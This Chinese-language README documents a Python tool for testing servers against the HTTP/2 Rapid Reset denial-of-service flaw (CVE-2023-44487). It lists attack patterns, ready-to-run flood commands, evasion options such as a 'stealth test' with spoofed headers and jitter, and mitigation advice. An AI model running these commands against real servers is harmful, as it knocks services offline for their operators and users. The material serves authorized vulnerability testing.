CVE-2023-44487 HTTP/2 快速重置测试工具 - 增强版

一个全面的 Python 测试工具，用于检测 CVE-2023-44487（HTTP/2 快速重置漏洞）。此增强版提供对测试参数的精细控制、多种攻击模式以及高级监控功能。

⚠️ 重要免责声明

此工具仅用于教育和授权测试目的！

• 仅可对您拥有或已获得明确书面许可的系统使用
• 未经授权的使用可能违法，并可能导致服务中断
• 该工具执行拒绝服务攻击，可能影响服务器可用性
• 测试前务必确保您已获得适当授权

🔍 关于 CVE-2023-44487

CVE-2023-44487，又称“HTTP/2 快速重置”，是 HTTP/2 协议中的一个严重漏洞，允许攻击者：

• 通过快速发送和取消 HTTP/2 流来造成拒绝服务
• 以极少的客户端资源消耗大量服务器资源
• 绕过许多传统的速率限制机制
• 影响主流 Web 服务器和负载均衡器

CVSS 评分： 7.5（高危）

影响： 拒绝服务、资源耗尽

🚀 增强功能

多种攻击模式

• ⚡ 快速重置：标准 HEADERS + 立即 RST_STREAM
• 💥 突发重置：按可配置延迟进行突发请求
• 📈 渐进重置：逐渐增加攻击速率
• 🎲 随机重置：随机时序以绕过预测性过滤
• 🌊 CONTINUATION 洪泛：CONTINUATION 帧洪泛攻击
• 🔀 混合模式：多种模式的组合

精细配置

• 📡 连接控制：超时、延迟、并发限制
• ⏱️ 时序控制：支持抖动的精确时序
• 🌐 HTTP/2 协议：窗口大小、帧大小、HPACK 设置
• 📋 标头自定义：自定义标头、随机生成
• 🔬 高级选项：流 ID 随机化、优先级帧
• 📊 监控：延迟跟踪、流量分析、错误监控

输出格式

• 🖥️ 控制台：带进度更新的可读格式
• 📋 JSON：机器可读的结构化数据
• 📊 CSV：兼容电子表格，便于分析
• 🗃️ XML：企业工具集成

安全功能

• 🛡️ 授权控制：强制确认提示
• 🔒 速率限制：内置连接和请求限制
• 🎛️ 错误处理：优雅的故障处理
• 📝 审计追踪：全面的日志记录功能

📋 系统要求

• Python 3.7 或更高版本
• 无外部依赖（仅使用 Python 标准库）

📖 安装

1. 克隆或下载脚本：

git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset

2. 使脚本可执行：

chmod +x rapid_reset_test.py

3. 验证 Python 版本：

python3 --version  # 应为 3.7+

🔧 使用方法

基本用法

python3 rapid_reset_test.py https://target-server.com

高级用法示例

1. 高吞吐量负载测试

python3 rapid_reset_test.py https://target.com \
    --connections 50 \
    --requests 1000 \
    --delay 0 \
    --pattern rapid_reset \
    --track-latency \
    --output json

2. 使用自定义标头的隐蔽测试

python3 rapid_reset_test.py https://target.com \
    --pattern burst_reset \
    --burst-size 5 \
    --burst-delay 2.0 \
    --custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
    --jitter 0.3

3. 协议特定测试

python3 rapid_reset_test.py https://target.com \
    --window-size 32768 \
    --frame-size 32768 \
    --header-table-size 8192 \
    --enable-push \
    --priority-frames \
    --randomize-streams

4. 全面监控测试

python3 rapid_reset_test.py https://target.com \
    --connections 10 \
    --requests 200 \
    --pattern mixed_pattern \
    --track-latency \
    --track-responses \
    --monitor-memory \
    --verbose \
    --debug \
    --log-file attack.log

5. CONTINUATION 洪泛攻击

python3 rapid_reset_test.py https://target.com \
    --pattern continuation_flood \
    --requests 50 \
    --random-headers \
    --header-count 20

完整命令行选项

连接设置

选项	描述	默认值
-c, --connections N	并发连接数	1
--connection-timeout SEC	连接超时（秒）	10
--read-timeout SEC	响应读取超时	5
--connection-delay SEC	连接之间的延迟	0.0

请求设置

选项	描述	默认值
-r, --requests N	每个连接的请求数	100
--delay SEC	HEADERS 和 RST_STREAM 之间的延迟	0.001
--request-delay SEC	请求之间的延迟	0.0
--jitter FACTOR	时序随机化因子	0.0

攻击模式

选项	描述	默认值
--pattern TYPE	使用的攻击模式	rapid_reset
--burst-size N	每次突发的请求数	10
--burst-delay SEC	突发之间的延迟	0.1

可用模式：

• rapid_reset - 标准快速重置攻击
• burst_reset - 基于突发的攻击
• gradual_reset - 逐渐增加的速率
• random_reset - 随机时序
• continuation_flood - CONTINUATION 帧洪泛
• mixed_pattern - 模式混合

HTTP/2 协议设置

选项	描述	默认值
--window-size BYTES	HTTP/2 初始窗口大小	65535
--frame-size BYTES	最大帧大小	16384
--header-table-size BYTES	HPACK 标头表大小	4096
--enable-push	启用 HTTP/2 服务器推送	False
--rst-error-code CODE	RST_STREAM 错误码	8

标头自定义

选项	描述	默认值
--custom-headers HEADER	自定义标头（名称：值）	None
--random-headers	生成随机标头	False
--header-count N	随机标头数量	5

高级选项

选项	描述	默认值
--randomize-streams	使用随机流 ID	False
--priority-frames	包含优先级信息	False
--continue-on-error	出错后继续	True
--max-errors N	停止前允许的最大错误数	10

监控选项

选项	描述	默认值
--track-latency	跟踪请求延迟	False
--track-responses	跟踪服务器响应	False
--monitor-memory	监控内存使用情况	False

输出选项

选项	描述	默认值
--output FORMAT	输出格式	console
--output-file FILE	输出文件名	自动生成
--verbose, -v	详细输出	False
--debug	调试日志	False
--log-file FILE	日志文件	None

可用输出格式：

• console - 人类可读的控制台输出
• json - 机器可读的 JSON
• csv - 兼容电子表格的 CSV
• xml - 结构化 XML 格式

📊 理解结果

增强结果格式

该工具提供全面的结果，包括：

• 攻击配置：完整的测试参数
• 连接统计：每个连接的成功/失败率
• 流量分析：发送/接收字节数、请求速率
• 延迟指标：请求时序分析（如启用）
• 错误分析：详细的错误跟踪和分类
• 风险评估：自动化漏洞评分

示例 JSON 输出结构

{
  "target_url": "https://example.com",
  "test_config": {
    "attack_pattern": "rapid_reset",
    "max_connections": 10,
    "requests_per_connection": 100,
    "delay_between_headers_rst": 0.001
  },
  "test_summary": {
    "duration": 2.34,
    "successful_connections": 10,
    "total_successful_attacks": 950,
    "success_rate": 95.0,
    "requests_per_second": 405.98,
    "total_bytes_sent": 125600,
    "average_latency": 0.0024
  },
  "connection_stats": [...],
  "errors": [...],
  "timestamp": 1640995200.0
}

风险评估

该工具自动评估漏洞风险：

• 🔴 高风险（成功率 >80%）：服务器可能易受攻击
• 🟡 中风险（成功率 50-80%）：部分易受攻击
• 🟢 低风险（成功率 <50%）：缓解措施似乎有效

🔬 技术细节

攻击方法

1. 快速重置：发送 HEADERS 后立即发送 RST_STREAM
2. 突发重置：将请求分组为可配置延迟的突发
3. 渐进重置：逐步增加攻击强度
4. 随机重置：使用不可预测的时序模式
5. CONTINUATION 洪泛：利用 CONTINUATION 帧处理漏洞
6. 混合模式：组合多种技术

HTTP/2 实现

• 正确的 HTTP/2 连接前言处理
• 使用自定义参数的 SETTINGS 帧协商
• 高级 HPACK 标头压缩选项
• 支持可配置流 ID 的流多路复用
• 符合 RFC 7540 的帧结构
• 支持 HTTP/2 扩展和优先级帧

监控能力

• 延迟跟踪：微秒级精度时序
• 流量分析：全面的字节级监控
• 错误分类：详细的错误分类
• 性能指标：请求速率和吞吐量分析
• 协议调试：帧级检查能力

🛡️ 缓解策略

如果您的服务器被发现易受攻击，请实施以下缓解措施：

立即行动

1. 将 HTTP/2 实现更新到最新版本
2. 为 HTTP/2 流和连接启用速率限制
3. 配置连接限制和请求超时
4. 实施流重置监控和阻止

高级防护

1. 部署支持 HTTP/2 的负载均衡器并具备攻击防护功能
2. 配置自适应速率限制，基于连接模式
3. 实施请求优先级和资源分配限制
4. 监控服务器资源并实施告警
5. 使用连接合并和多路复用控制

监控与检测

1. 监控 RST_STREAM 速率和模式
2. 跟踪连接建立速率
3. 为 HTTP/2 流量实施异常检测
4. 记录和分析攻击模式以供未来防护

🔗 集成示例

Python 自动化

import subprocess
import json

# 运行自动化测试
result = subprocess.run([
    'python3', 'rapid_reset_test.py',
    'https://target.com',
    '--pattern', 'mixed_pattern',
    '--output', 'json',
    '--output-file', 'results.json'
])

# 分析结果
with open('results.json') as f:
    data = json.load(f)
    vulnerability_score = data['test_summary']['success_rate']
    if vulnerability_score > 80:
        print(f"HIGH RISK: {vulnerability_score}% success rate")

持续监控

#!/bin/bash
# Cron 任务：0 2 * * * /path/to/monitor.sh

python3 rapid_reset_test.py https://myserver.com \
    --pattern rapid_reset \
    --connections 5 \
    --requests 50 \
    --output json \
    --output-file /var/log/rapid-reset-$(date +%Y%m%d).json

# 检测到漏洞时发出告警
if [ $(jq '.test_summary.success_rate' /var/log/rapid-reset-$(date +%Y%m%d).json) -gt 80 ]; then
    echo "ALERT: Server vulnerable to rapid reset attack" | mail -s "Security Alert" [email protected]
fi

数据分析

import pandas as pd
import matplotlib.pyplot as plt

# 加载并分析 CSV 结果
df = pd.read_csv('results.csv')

# 可视化各连接的攻击成功率
plt.figure(figsize=(12, 6))
plt.subplot(1, 2, 1)
df.plot(x='connection_id', y='successful_attacks', kind='bar')
plt.title('Attack Success by Connection')

plt.subplot(1, 2, 2)
df['success_rate'] = (df['successful_attacks'] / df['total_attacks']) * 100
plt.hist(df['success_rate'], bins=20)
plt.title('Success Rate Distribution')
plt.show()

🐛 故障排除

常见问题